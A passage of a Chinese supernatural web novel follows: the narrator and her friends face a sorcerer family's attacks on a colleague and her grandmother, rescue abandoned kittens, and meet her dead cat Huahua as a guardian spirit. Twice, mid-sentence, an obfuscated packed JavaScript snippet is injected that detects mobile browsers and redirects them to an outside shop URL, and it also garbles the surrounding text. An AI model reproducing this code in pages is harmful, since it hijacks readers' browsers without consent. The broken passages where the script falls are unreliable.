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墨宇在电话那头冷笑了一声:“哼,估计是他表哥之前害你不成,反遭术法反噬,自身受损严重,狗急跳墙,把主意打到至亲身上了。至于他来找我……大概是走投无路,病急乱投医吧。不过,我怎么可能插手?他们家的事,我避之唯恐不及。打电话就是告诉你一声,让你心里有个数。” 挂了电话,我心里总觉得这事透着诡异,半信半疑,并未完全放在心上。 然而,当天晚上,千尘也发来了消息,内容与墨宇所述惊人地一致!她也梦到了小凡的魂魄前来哭诉求救,并且同样明确表示:「此事我们绝不插手!」 这一下,我无法再以为这只是巧合或普通的梦境了。两个人,同时梦到相同的内容……这背后一定发生了什么! 第二天上班,我特意仔细观察了小凡。他的状态确实非常糟糕,脸色是一种不健康的灰败,眼窝深陷,黑眼圈浓重,整个人精神萎靡,做事也常常出错,仿佛好几天没睡好,又像是大病初愈的样子。但我牢记之前的教训,紧闭着嘴,没有主动去询问任何事。 中午午休,我趴在办公桌上小憩。刚刚陷入睡眠,一个极其逼真、令人心悸的梦境便席卷而来—— 梦境中,四周光线昏暗,小凡从一片迷雾里踉踉跄跄地向我跑来。他脸上毫无血色,眼神里充满了绝望和恐惧,扑通一声直接跪倒在我面前,双手死死抓住我的裤脚,仰起脸,涕泪横流地哭嚎: “楠木姐!救救我!求求你救救我啊!我表哥……我表哥他不是人!他在借我的寿!还在偷我的运!求求你看在同事一场的份上,帮帮我!只有你们能救我了!求你了!!” 他的哭声撕心裂肺,在梦境中回荡,那张因极度恐惧而扭曲的脸,无比清晰地烙印在我的脑海里。 我猛地从梦中惊醒,心脏狂跳,后背惊出了一层冷汗。小凡跪地哀求的样子仿佛还在眼前,那绝望的哭喊声似乎还在耳边回响。一股不忍和同情瞬间涌上心头——借寿夺运,这是何等阴毒残忍的手段! 我内心挣扎起来,拿起手机,给墨宇和千尘发去了消息,语气充满了矛盾和犹豫:「他……他来我梦里求我了,哭得很惨……说表哥借他寿夺他运……我们……真的不管吗?这会不会太……残忍了?」 消息几乎同时得到回复,两人的态度异常坚决: 墨宇:「不要!插手他人因果,尤其此等邪法恩怨,必引火烧身!」 千尘:「绝对不要!记住之前的教训!他们一家皆是咎由自取!」 看着屏幕上冰冷的文字,再回想之前被那一家子屡次针对、险些丧命的经历,那股刚刚升起的同情心如同被浇了一盆冰水,迅速冷却下来。是啊,我自身难保,何必再去蹚这浑水?万一这又是对方的什么圈套呢?更何况,就算我告诉他,以他对我们的不信任和排斥,他会信吗?恐怕只会觉得我又在散布谣言,徒增反感。 最终,理智(或者说,是自保的念头)压过了不忍。我下定决心,这次绝不再主动介入。如果小凡在现实中亲自来找我求助,我或许会出于人道主义提醒一句,但我绝不会再像以前那样,傻乎乎地凑上去关心了。 后续的发展是,小凡始终没有在现实中向我开过口。那一段时间,他的精气神肉眼可见地日益衰败,但我只是默默地看着,如同一个冷漠的旁观者,将所有的疑问和一丝残存的怜悯都压在了心底。 后来,我从墨宇那里得知了一个更令人震惊的消息。他告诉我,根据他的探查,小凡乃是畜生道转生为人,此世是他第一世为人。原本他福报深厚,寿命绵长,运势也不错。但此次因为他表哥滥用邪法,以及与我们之间的这场因果纠缠,极大地损耗了他的福报和根基,未来的命运已然蒙上了一层厚重的阴影。 听完这些,我心中竟没有太多波澜,反而生出一种奇异的释然。一瞬间,我似乎理解了他之前那些看似愚蠢、小心眼、恩将仇报的行为——一个初入人道、灵智未开、尚带着畜生习性的灵魂,做出那些事情,似乎……也不那么难以理解了。 想到这一点,我心中因他求助而产生的最后一丝纠结和沉重,竟莫名地消散了许多,这并非冷漠,而是一种在经历了诸多匪夷所思后,对因果和人性(或者说“众生性”)的,一种近乎悲凉的领悟。 30. 花花成为了我的护法?(上) 接连不断的诡异事件、颠覆认知的真相、以及如附骨之疽般纠缠不休的恶意,像一团团厚重黏稠的乌云,沉沉地压在我的心头。短短两个月,我的生活被彻底撕裂成两半——一半是充斥着宠物异味、药品清单和客户咨询的现实世界;另一半则是充斥着护法、邪魔、阵法、前世今生的幽暗领域。这种巨大的割裂感和无处倾诉的苦闷,让我时常感到喘不过气。 为了寻求片刻的宁静,或者仅仅是为了找一个能理解我、能与我讨论这些“疯言疯语”的人,我下班后总喜欢约千尘出来。我们通常会骑着她的小电驴,漫无目的地在城市边缘、人迹较少的道路上遛弯。夜晚的风和空旷的环境,能让我紧绷的神经稍微放松一些。 那晚,天空挂着稀疏的星子,我们照旧沿着一条僻静的马路骑行。晚风带着初夏的微热,吹拂在脸上。在经过一个十字路口时,我正要提醒千尘注意来往车辆,鼻尖却猛地钻进一股极其浓烈、混合着劣质线香和烧纸灰烬特有呛人气味的香火气!那味道如此突兀和浓重,仿佛有人刚在路口烧完大量纸钱。 我心中一惊,立刻左右张望。十字路口空空荡荡,路灯惨白的光线下,只有被风吹起的落叶打着旋儿,哪里有什么焚烧的痕迹或人影? “千尘,”我忍不住开口,声音带着一丝紧张,“你有没有闻到一股很浓的烧纸钱和香火的味道?就在这儿,特别冲鼻子!可我什么也没看见啊?” 千尘闻言,下意识地也转头向四周扫视。就在她目光掠过路口西北角那棵老槐树阴影下的瞬间,她握着车把的手猛地一抖,小电驴的行驶轨迹都因此歪斜了一下!她立刻稳住车身,但车速却明显加快,仿佛想要尽快离开这个路口。 我被这突如其来的反应吓了一跳,紧紧抓住她的肩膀。过了好几分钟,直到那个十字路口被远远甩在身后,千尘才仿佛松了一口气,车速也慢了下来。她微微侧过头,声音压得有点低,带着一丝余悸:“你刚才问我的时候,我下意识看了一眼……结果看见……看见一个穿着深蓝色中山装的男人,就站在那边槐树底下。” 她顿了顿,似乎在组织语言描述那令人不适的景象:“他站得笔直,身体非常凝实,布料褶皱、衣服的质感都清晰得不像话,一点也不像普通游魂那样虚淡。但是……但是他没有头!脖颈以上是空的!就那么直挺挺地站着!要不是少了脑袋,我几乎以为那是个大活人!把我自己也吓了一跳,所以刚才没敢立刻回你话,只想快点离开那里。” 我听得全身汗毛倒竖!虽然看不见,但千尘的详细描述和那瞬间加快的车速,已经在我脑海中勾勒出一幅极其惊悚的画面。一个无头却衣着整齐、身体凝实的“人”……这比模糊的鬼影更让人心底发寒。我下意识地双手更紧地抓住了千尘的肩膀,身体也向她靠了靠,仿佛这样能驱散一些寒意。 千尘感觉到了我的紧张,提议道:“我们去湖边转一转吧,那边开阔,夜景也好,应该……干净些。” 我连忙“嗯”了一声,不敢再多问,也不敢再乱看。脑子里却不受控制地反复回放那个“无头中山装”的形象,越想越觉得毛骨悚然。同时,我也敏锐地察觉到,刚才那股香火味,与我家中和练习阵法时偶尔闻到的、令人心安的降真香截然不同。那是一种带着阴郁、躁动甚至些许不祥气息的味道,仿佛连接着另一个不那么“友好”的世界。 大约二十分钟后,我们来到了环湖路。这里远离市区灯火,月光洒在平静的湖面上,泛起粼粼波光,四周是茂密的芦苇荡,在夜风中发出沙沙的声响,环境确实清幽了许多,也让我的神经稍稍松弛。 就在我们慢速骑行,享受这份宁静时,一阵微弱却清晰的“喵~喵~” 叫声,断断续续地从路边的芦苇荡深处传来。声音稚嫩而焦急,此起彼伏,听起来不止一只。 “有猫叫?还是小奶猫!”我和千尘几乎同时说道。我们立刻停车,侧耳细听。声音确实是从芦苇丛里传出来的,而且听起来非常幼小无助。 “进去看看!”出于对小动物的本能爱护,我们顾不上可能存在的蚊虫和泥泞,一边学着猫叫试图安抚,一边小心翼翼地拨开茂密的芦苇,朝着叫声传来的方向摸索进去。 越往深处走,叫声越清晰,也越发让人揪心。终于,在手电筒光束的照射下,我们看到一个被随意丢弃在湿软泥地上的破旧麻袋。麻袋口被粗糙地扎着,但里面明显有东西在蠕动,一声声微弱的猫叫正是从里面传出。 “天杀的!谁这么缺德!”千尘低声骂了一句。我们连忙上前,小心翼翼地解开麻袋。手电光下,七只毛色黄褐色相间、眼睛都尚未睁开的小梨花猫挤在一起,瑟瑟发抖,发出可怜的哀鸣。它们太小了,估计出生还不到一周,被遗弃在这种荒郊野外,若非我们偶然路过,恐怕撑不过今晚。 愤怒和心疼同时涌上心头。我们顾不上谴责那丧尽天良的遗弃者,连忙小心翼翼地将这七个小生命从冰冷的麻袋里抱出来,用外套裹好,决定立刻带回去救助。 “七只……太多了,一下子找不到合适的猫奶妈。”千尘看着怀里这一小团,皱了皱眉。 “我们轮流带吧,”我提议道,“我白天上班可以带到店里照顾,你晚上接回去。我们都有照顾幼猫的经验,辛苦一个月,等它们满月睁眼了,再想办法找人领养。” 千尘点点头,眼下也没有更好的办法。于是,这七只意外闯入我们生活的小奶猫,就成了我们接下来日子里的甜蜜负担。我们给它们准备了温暖的窝、宠物羊奶粉和小奶瓶,像照顾婴儿一样细心喂养。看着它们一天天长大,从只能蠕动向能蹒跚爬行,那种生命成长的喜悦,暂时冲淡了我心中的阴霾。 然而,平静的日子没过几天。那天我正在宠物店上班,右眼眼皮突然开始毫无缘由地剧烈跳动,同时两侧太阳穴传来一阵阵尖锐的胀痛,心跳也无端加快。这不是普通的疲劳感,而是一种熟悉的、预示着某种不祥事端即将发生的强烈心悸! 我立刻意识到不对劲。趁着午休间隙,我回了家,取出黑色角卦,净手凝神,心中默默向姜太公祷告,然后掷出茭杯,虔诚询问:「太公,我心绪不宁,突感强烈不安,是否将有祸事发生?请指示。」 茭杯落下,圣卦。表示肯定。 我心头一紧,继续追问:「祸事应在我身,还是亲人?」 脑海中,那个沉稳而清晰的声音直接响起,带着一丝提醒的意味:「近期,需多加留意你外婆的境况。你外公……正在等她。」 外公在等外婆?! 这句话像一道冰锥,猛地刺入我的心脏!我外公在我妈妈很小的时候就因病去世了,我对他所有的印象,都来自外婆和妈妈偶尔的提及,以及家里那张永远摆放在高处、形象栩栩如生的油画遗像。我小时候,有好几年时间,连续重复地做一些关于外公的噩梦,梦里他总是从遗像里跑出来追逐我,非常凶,周围笼罩着一股化不开的怨气,让我非常害怕。长大后,我只当是小孩子对逝者照片的恐惧心理,并未深究。 难道……那些梦并不仅仅是孩子的臆想?外公他……真的没有去投胎?一直带着怨气滞留? 我强压下心中的惊骇,再次通过茭杯询问:「太公,我外公……他为何不去投胎?为何要等外婆?他们之间……?」 姜太公的声音带着一种洞察因果的淡然,却又蕴含着一丝不容忽视的警示:「怨气深重,执念未消,故徘徊不去。有些因果,时辰将至。」 时辰将至?!是什么意思?外婆会有危险?! 巨大的不安瞬间攫住了我。我立刻给我妈妈打了电话,装作随意地问起外婆的近况。 妈妈在电话那头叹了口气:“你外婆啊,最近也不知道怎么了,晚上总是睡不好,老是做噩梦惊醒,说梦见你外公了,样子不太对劲……不过白天精神头还行,其他倒没什么。” 这看似平常的描述,却让我心中的警铃大作!外公入梦,样子不对,外婆夜惊……这绝不是什么“年纪大了睡眠不好”能解释的! 当晚,我把小猫送到千尘家交接时,忍不住将这件事和盘托出,语气充满了焦虑:“千尘,我外公可能一直没走,在等我外婆!而且我外婆最近老是梦见他,睡不好。我担心……” 千尘一边熟练地给小猫喂奶,一边沉吟道:“也有可能是快到中元节了,阴气渐盛,你外公思念你外婆,所以托梦来看看,不一定就是坏事。” “不,我感觉不对,”我摇摇头,那种心悸和不安感依旧强烈,“姜太公提示我了,而且我心很慌。千尘,你能不能……帮我看看我外婆那边?我实在不放心。” 见我如此坚持,千尘放下奶瓶,净了手,然后凝神静气,目光仿佛穿透了空间的阻隔,望向了我外婆家的方向。几秒钟后,她的眉头骤然紧锁,脸上浮现出一抹罕见的怒意和鄙夷: “这群人渣!真是下作到了极点!”她咬牙切齿地说道,“你外婆家附近,确实不太平!我看到有一些气息凶戾的五猖兵马在周围游荡逡巡!不止!还有一些奇形怪状、带着污秽邪气的东西,也在试图靠近!你外婆年纪大了,阳气本就不比年轻人,被这些东西长期骚扰、吸食阳气,轻则大病一场,重则……恐怕真会出事!” “什么?!又是那群人?!”我瞬间感觉一股热血直冲头顶,愤怒让我浑身都在发抖,“他们到底想干什么?!纠缠我就算了!现在居然把手伸向我的家人?!他们还有没有人性?!不对,他们根本就是畜生!” 千尘冷笑一声,语气冰冷:“邪修哪有什么人性可言?纯属恶心人,报复你。看你这边有了防备,阵法护持,姜太公坐镇,难以得手,就转向你毫无防备的直系血亲下手,想从精神上和身体上双重折磨你,让你痛苦,让你分心!阴毒至极!” “我该怎么办?!”我急得如同热锅上的蚂蚁,“这种事我不可能直接跟我妈说,她绝对不会信这些!我白天要上班,也不可能天天守在外婆身边啊!” 千尘看我急得团团转,冷静下来,思忖片刻说:“别慌。他们能请‘人’,我们也能请。我可以试试帮你‘摇人’,看看哪位祖师爷或者护法神明,愿意慈悲,护佑你的家人,驱逐那些邪秽。” 我像抓住了救命稻草,连连点头。 千尘立刻在她家的神坛前,恭敬地点燃三根上好的降真香,然后手持茭杯,闭目凝神,口中念念有词,仿佛在向上方递送着某种信息。香烟笔直而上,室内一片肃穆。 过了一会儿,千尘嘴角忽然勾起一抹意外的、略带玩味的笑意,她睁开眼睛,看向我:“哎哟,你猜,接了你家这事儿的是谁?” 我焦急道:“我哪看得见啊!快说,是谁?” 千尘一字一顿地说:“是慈航真人。我刚把情况禀明,询问是否有哪位尊神愿意护持,她就立刻给出了回应,接下了这个差事。” “慈航真人?!”我吃了一惊。这位大慈大悲、闻声救苦的尊者,为何会关注到我外婆这样一个小人物的安危? 千尘摇摇头:“具体缘由我也不知。或许是她感应到你护佑幼猫的善念,或许是你外婆本身有福缘,又或许是……冥冥中另有安排。总之,有她老人家出面,你家人那边的安全,应该暂时无虞了。” 我心中涌起巨大的感激,连忙朝着神坛方向,虔诚地躬身行礼,低声道:“谢谢。” 虽然得到了慈航真人的承诺,但我心中那股不安和想要亲眼确认外婆安好的冲动,依然没有完全平息。我对千尘说:“慈航真人愿意帮忙,我感激不尽。但是……我还是想亲自去外婆家看一眼,不然我今晚肯定睡不着。千尘,你能陪我一起去吗?万一……万一还有什么需要处理的……” 千尘理解我的心情,点点头:“好,等我把这几只小祖宗喂饱哄睡,我们就出发。” 去往外婆家的路上,我的心情异常忐忑。一方面感激着慈航真人的慈悲,另一方面,对那一家子邪修的恨意也达到了顶点——他们竟然如此下作,将战火蔓延到我无辜的家人身上!我既担心外婆的身体,又愤怒于对方的毫无底线。 途中,我给妈妈打了电话,告诉她我现在过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908343|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看外婆。 妈妈在电话里十分惊讶:“这么晚了,你过来干嘛?都九点多了!” 我只好含糊地说:“没什么,就是突然想外婆了,过去看一眼,很快就走。” 我能听出妈妈语气里的疑惑和一丝不以为然,她大概觉得我最近“神神叨叨”的毛病又犯了。但我顾不了那么多,有些事,无法用常理解释,也无法向最亲的人诉说,这种孤独感,在此刻格外清晰。 到了外婆家楼下,千尘的表情就变得凝重起来。她抬头看了看那栋老旧的居民楼,又环顾了一下四周昏暗的绿化带,眉头微蹙。 我心里“咯噔”一下:“情况……还是很糟?” 千尘压低声音:“慈航真人的气息确实已经在附近了,很温和强大,像一层保护罩。但是……之前那些东西留下的‘痕迹’和残余的秽气,还在。看来骚扰持续了不止一两天。” 我妈妈给我们开了门。一踏进外婆家,一股异样的阴冷感便扑面而来。那并非空调的凉意,而是一种能渗入骨缝的、带着潮湿和淡淡霉味的寒意。同时,我感觉身上像是突然披上了一件浸水的棉袄,体感异常沉重,呼吸都有些滞涩。虽然我依旧看不见具体的东西,但这种能量层面的压抑和污浊感,已经足够让我心惊肉跳。 “妈,外婆睡了吗?”我强作镇定地问。 “刚睡下没多久。”妈妈看着我,又看了看我身后的千尘,眼神里充满了不解和担忧,“楠木,你这么晚过来,到底出什么事了?你最近……还好吗?妈跟你说,别太沉迷那些有的没的,我看你神神叨叨的,心里不踏实。” 看着妈妈担忧的眼神,我心里一阵酸楚。我知道,在她眼里,我大概是个快要走火入魔的“神经病”。但此刻,比起被误解的委屈,保护家人的安危更重要。我深吸一口气,语气尽量平静但坚定:“妈,我没事,你放心。我就是……想在这里安静地诵一会儿经,可以吗?就一会儿。” “诵经?”妈妈更加诧异了,“在家里?楠木,你到底……” “妈,你就让我待一会儿吧,就一会儿。”我打断她,语气里带着一丝不易察觉的恳求。我知道我的行为很古怪,但我顾不上了。 妈妈看着我倔强又带着忧虑的眼神,最终还是叹了口气,没再反对,只是忧心忡忡地回了自己房间,关门前还忍不住回头看了我一眼。 客厅里只剩下我和千尘。我看向她,用眼神询问。 千尘微微点头,低声道:“残留的不少,虽然被驱散了大半,但那种‘脏’的感觉还在,需要彻底净化一下。” 我明白了。外婆已经睡下,不宜打扰。那么,就用我唯一会的方式——诵经!以玄门正法之音,涤荡污秽,巩固慈航真人布下的守护! 我走到客厅相对宽敞的地方,面朝南方,闭上眼睛,排除杂念。然后,我开始一字一句,清晰而虔诚地吟诵起玄门早课经文。起初声音不大,但随着心神沉浸,声音越来越洪亮、越来越坚定,带着一种驱邪辟秽的肃穆力量,在寂静的客厅里回荡。 随着经韵的持续,我自身的感受也变得极其明显。后背督脉的位置,仿佛有一团火在燃烧,热流不断上涌,直达头顶。而身体周围,特别是那些感觉阴冷沉重的区域,仿佛有无数细小的、冰凉的“触须”在试图缠绕我,但又在我诵经发出的无形声波和自身升腾的阳气下,不断被逼退、消散。我能清晰地感觉到,客厅里那股令人不适的阴冷和滞涩感,正在一点点变淡、消散。 这一个小时的诵经,对我而言不亚于一场精神与体力的双重消耗战。当我终于停止最后一个音节时,额头上已布满了细密的汗珠,后背的衣衫也被汗水微微浸湿,但整个人却感觉异常清爽通透,之前的沉重感一扫而空。 我缓缓睁开眼睛,看向千尘,用眼神询问。 千尘仔细地环顾了一下客厅,又凝神感应了片刻,脸上露出了些许放松的神色,她对我点了点头:“干净了。慈航真人的气息更加明显,那些残余的秽气已经被彻底驱散。” 我长长地舒了一口气,悬着的心总算放下了一半。因为外婆已经安睡,我们没有进去打扰,只是默默地向她卧室的方向行了一礼。 向妈妈道别时,她看着我们,眼神复杂,欲言又止。我知道她心中有无数疑问和担忧,但我此刻无法解释,只能紧紧握住她的手,认真地说:“妈,我真的没事,你别担心。我做的这些……我心里有数。外婆这边,你晚上多留意一下就好。” 妈妈看着我,最终还是点了点头,轻声说:“你自己……也要好好的。” 走出外婆家,夜风一吹,我心中的大石虽然落下,但那股对邪修一家的愤怒却如同野火般燃烧起来。我和千尘骑上小电驴,行驶在寂静的街道上,我终于忍不住,声音带着压抑不住的怒火: “千尘,难道就拿那一家子人一点办法都没有吗?!他们这样无法无天,骚扰完我又骚扰我家人!我们就只能这样被动防御,等着他们一次次恶心人吗?!” 千尘沉默了一会儿,似乎在思考。然后,她忽然转过头,月光下,她的眼睛亮得惊人,带着一种近乎“恶劣”的灵光,嘴角勾起一抹奇异的弧度: “办法……倒也不是完全没有。他们不是喜欢‘告状’吗?上次他表哥不就告到玉皇大帝和地府去了?” 我一愣:“你的意思是……?” 千尘轻笑一声,语气带着怂恿和一点看好戏的意味:“以其人之道,还治其人之身啊!下次你去道观,认认真真,从山门口的灵官殿开始,一路磕头祷告,把你受的委屈、他们做的恶事,一桩桩、一件件,大声地、详细地‘诉苦’给每一位路过的护法神将、每一位殿里的祖师爷听!一直‘告’到三清殿里去!让满天神佛都听听,他们是怎么欺负你的!” 我震惊地张大了嘴巴。 告状?从灵官殿一路告到三清殿?! 这个主意……听起来既离谱,又莫名地……好像有点爽?! 千尘的脑回路,有时候真是……厉害得让人猝不及防! 31. 花花成为了我的护法(下) 那晚的事虽已了结,我心里那根弦却始终松不下来。像有什么东西在暗处细细地磨着神经末梢,说不清道不明,却实实在在悬在头顶。上班时总走神,眼前的单据化成一团模糊的影子,心神不宁得像揣了只活麻雀。 索性牵了狗,溜达到店对面那片小公园。午后阳光本该正好,可林子里却凉飕飕的,风穿过枝桠发出空洞的呜咽。树影在地上乱颤,像无数只慌乱的手。 忽然间,右侧太阳穴像被一根烧红的钢针贯穿——我猛抽一口气,眼前炸开一片破碎的金星。就在这片眩晕与剧痛中,一个声音毫无征兆地在我脑子里炸开,清晰得如同贴耳低语: “你外婆那里出事儿了,快去看看。” 那是我的声音。但是语调平直,还有种不容置疑的迫切。 我僵在原地,一时缓不过神,心里疑惑,刚才那是幻听吗?还是连日焦虑生出的臆想?我试着在心里默念:“若真是姜太公您在提点,便让我这头痛止住吧。” 念头刚落,那针扎似的痛楚竟真的烟消云散。 我心里本就不安,再加上这一句话一说,我就立马牵着狗转身回店里,准备请假去外婆家看看。 正考虑该如何去外婆家——隔着大半座城,公交得倒两趟——就听见熟悉的“突突”声由远及近。千尘骑着她那辆白色小电驴,一个利落的刹车停在店门前,长腿支地,头盔摘下来,露出被风吹得微红的脸颊。 “去遛狗了呀?今天太阳不错,我正想接店里那窝小祖宗出来晒晒太阳呢。” 我眼睛一亮。机会来了。 几乎是冲回店里,我跟老板仓促请了假,手忙脚乱地把那几只毛茸茸的奶猫拢进铺了软垫的纸箱。千尘一脸懵地看着我,我一把拉住她胳膊,压低声音:“送我去外婆家,现在,急事。路上细说。” 小电驴载着两人一箱猫崽,在车流里灵活穿梭。风呼呼刮过耳边,我把头痛和脑中异声的事快速说了一遍。千尘听完,沉默了几秒,后视镜里映出她蹙紧的眉头。 “不能吧?那晚咱们不是处理干净了么?”她声音裹在风里,有些模糊,但车速明显提了上去,车身微微震动。 老城区特有的气息越来越浓——陈年油烟、潮湿的石灰墙、还有不知名花草的淡淡苦涩。外婆家那栋旧楼出现在视野里时,我的心跳又漏了一拍。 妈妈开门时,手上还沾着面粉,一脸诧异:“这个点儿?不上班?火急火燎的……这箱子里又是啥?” “今天调休,带猫崽出来晒太阳,顺路看看你们。”我挤出一个笑,声音却有点发飘。一边说,一边用眼神急急示意千尘。 外婆就坐在客厅那张老沙发里,对着电视。屏幕的光明明灭灭,映在她脸上。只一眼,我浑身的血似乎凉了半截——那脸色不对。不是平常老人家的苍白,而是一种沉郁的、发灰的暗色,像蒙了层洗不掉的尘垢,眼眶下阴影深重,连嘴唇都透着不健康的淡紫。 我强作镇定,坐到一边,手指无意识地逗弄箱子里的小猫。千尘凑到纸箱旁,也佯装看猫,指尖轻轻掠过小猫柔软的背毛,嘴唇几乎不动,声音极小地说: “你外婆身上黑气很重,脸色也不好,你看见了吧……” 我心里更加不安,刚想张嘴问怎么办—— “啊呜!” 纸箱里,一只最活泼的小狸花,突然发出一声短促怪异的尖叫!它整个身子瞬间绷成一张弓,四肢僵直地伸开,小小的脑袋拼命向后仰,琥珀色的眼睛瞪得滚圆,却空洞得映不出光。 “坏了!它怎么了!”我和千尘同时低呼。 我手疾眼快,一把将它捧出来。那小小的、温热的身躯在我掌心剧烈地抽搐了一下,随后力道便迅速流失,像沙漏里的沙。能清晰地感觉到,生命正从它柔软的身体里飞速褪去。 “人工呼吸!心脏按压!” 我脑子一片空白,全凭本能行动。颤抖着捏开它冰冷的小嘴,往里轻轻吹气。随即一只手覆上它茸毛覆盖的、比硬币大不了多少的胸膛,一下,一下,按下去,做着胸腔按压,薄薄的肋骨在指尖下发出细微的悲鸣。 千尘温热的手掌也盖了上来,我感觉到一股温和却有力的“流动”从她掌心传来,涌入小猫体内。那是她的“炁”。我也慌忙收敛心神,集中注意力将自己的炁也渡了进去。 没有用。一点用都没有。 掌心那团小生命,抽搐渐渐停止,最后一下轻微的战栗过后,彻底松软下去。温度流逝的速度快得残忍,刚刚还暖烘烘的小身体,慢慢失去了温度。 死了。 就在我们眼前,不到两分钟,一条鲜活的小生命,没了。 我和千尘僵在原地,盯着我掌中那具冰冷的小小躯壳,茫然无措,不知它为何突然就死掉了。 就在这时,千尘无意抬头一看外婆的方向,随即低头跟我说:“你外婆脸色好像正常了,黑气也没有了。” 我转头看去,沙发上,外婆不知何时换了个舒服的姿势,正疑惑地望着我们这边。屏幕上变换的光影映在她脸上——哪里还有半分灰败?脸色虽仍属老年人的苍白,却干净通透,眼神清明,甚至因我们的慌乱而带上一丝关切。 “小猫怎么了?”她开口,声音平稳,略带沙哑,与往常无异。 我喉咙发干,几乎发不出声音:“没……没事,小猫有点不舒服。” 我不想让外婆担心。但是心情复杂,我跟妈妈说:“我店里有事儿,得赶过去处理。” 妈妈从厨房探出身:“不留下来吃饭啊?都快弄好了。” “来不及了,刚发信息来催!” 我搪塞道。走之前仔细看了看外婆的脸色,发现真的没异常后,心里松了口气,又叮嘱了外婆保重身体,随即和千尘离开了家。 回去的路上,我和千尘一路无话。小电驴的嗡鸣显得格外单调。我虚握着拳,指尖仿佛还残留着小猫最后那点微弱的搏动,和迅速变得僵硬的触感。风很冷,一直灌到心里去。 “那只小猫……” 千尘忽然开口,声音飘忽,被风吹散又聚拢,“你说……会不会是‘花花’?” “花花”两个字,像一把生锈的钥匙,猛地捅进记忆的锁孔,用力一拧—— 八年前,冬夜,垃圾桶边奄奄一息的绒毛团子。我把它捂在怀里带回家,用奶瓶喂大,虽然它很调皮,但它和普通的猫咪并不一样,它能听懂很多指令,并且只要学两三次就可以记住,就这样陪伴了我八年。 半年前,一个寻常的傍晚,它吃了最爱的罐头,蹭了蹭我的小腿,然后就像往常一样从阳台缝隙溜出去“巡山”。却再也没回来。 我找疯了,贴告示,问邻里,深夜打着手电一遍遍呼喊它的名字,但是并没有消息,我心里有直觉是不是它死了,我不知道它死在哪里,是冷是痛,有没有害怕。那之后很长一段时间,夜里听到类似猫叫的风声,心都会狠狠一缩。 “花花?是它吗?你怎么知道?” 我喃喃道,声音沙哑,“动物的轮回……有这么快的吗?” “我的第六感告诉我的,先去我那儿,” 千尘语气笃定,不容置疑地调转车头,“我也想……问个明白。” 千尘的屋子总有种令人心定的氛围。淡淡的檀香,到处都是绿植,阳光透过窗棂洒在地板上。她洗净手,恭恭敬敬点了三炷细香。烟雾笔直上升,随后袅袅散开。 我屏息站在一旁,心脏在胸腔里沉重地撞击。香火气钻进鼻腔,莫名让人眼眶发热。 就在视线无意扫过香案旁的阴影时,我整个人如遭雷击,彻底僵住—— 阴影里,立着一个轮廓。 不高,约莫到我膝盖。轮廓清晰起来——那是一只猫,却用后腿直立着。它身上,套着一件极小巧、极精致的红黄色中式马甲,丝绸质地,在昏暗光线下泛着柔润的光泽,盘扣一丝不苟。圆圆的猫脸,分明是花花的模样,甚至左耳尖那簇特别翘起的毛发都一模一样。 可那双眼睛……不再是记忆里淘气懵懂的琥珀色玻璃珠。那里面的光,沉静、温润,透着一种远超兽类的理解与悲悯,静静地、专注地凝视着我。 “花……花花?” 声音冲出喉咙,我猛地抓住千尘的手臂,指尖冰凉,“你看见了吗?花花是站着的!还穿了衣服?!是我……是我伤心过度疯了吗?!” 千尘转过头,看着那片阴影,脸上并无惊讶,只有一种复杂的、近乎温柔的了然。 “我的先天炁,加上你情急之下渡过去的那点,估计都让它得了去。” 她轻声说,像是在解释,又像是在叹息,“它这不是普通的猫魂了……是开了灵智,受了点化的‘东西’。你既能看见它,不如自己问个清楚。” 她把那对茭杯放入我掌心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908344|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我深吸一口气,定了定神,抛出第一个问题,声音仍止不住地发颤: “你……真的是花花吗?” 茭杯脱手,在空中划过短暂的弧线。 “啪。” 一声轻响,落在光滑的地面上。 一正一反。圣卦。 是。 滚烫的液体瞬间冲上眼眶,视线模糊。我用力眨掉,胡乱抹了一把脸,稳住发抖的手,问出那个折磨了我半年的问题: “当初……为什么没回来?是有人抓了你吗?还是你不认识回家的路了?” 这一次,没有声音。却有一段清晰无比的、带着暖意的“思绪”,如同溪流般温柔地注入我的脑海: “感觉得到……时候要到了,身上很重,很冷。不能死在家里,你看见了会哭的,你哭起来,很难受,我不要你那么难受。” 我把这段“话”复述出来,每个字都像刀片刮过喉咙。原来它什么都知道。知道大限将至,知道自己会变成一具冰冷的躯体,知道我会心碎。所以它选择孤独地离开,独自面对黑暗与终结。 这个傻孩子。 茭杯再掷。圣卦。印证无误。 心口又酸又软,胀得发痛。我看向阴影里静静站立的花花,它依旧穿着那身可笑又庄严的小马甲,眼神平静。 “今天……死在我手上那只小狸花,是你吗?” 我问出最残忍的问题。 圣卦。 果然。 “为什么?!” 情绪终于决堤,我几乎是在低吼,混合着心痛、愤怒和巨大的不解,“好不容易又来了!好不容易有了新的开始!为什么就这么轻易又没了?!你知不知道我多难过?!” 千尘在一旁,声音沉静,却带着洞悉一切的悲悯: “它恐怕是……把你外婆身上那些纠缠的秽气、病气,引到了自己身上。它想用这条崭新的、脆弱的小命,替你外婆挡一下灾,或者……续上哪怕一点点被侵蚀的生机。动物的心思最纯粹,认定了要护着谁,就什么都舍得出去。” “报恩?” 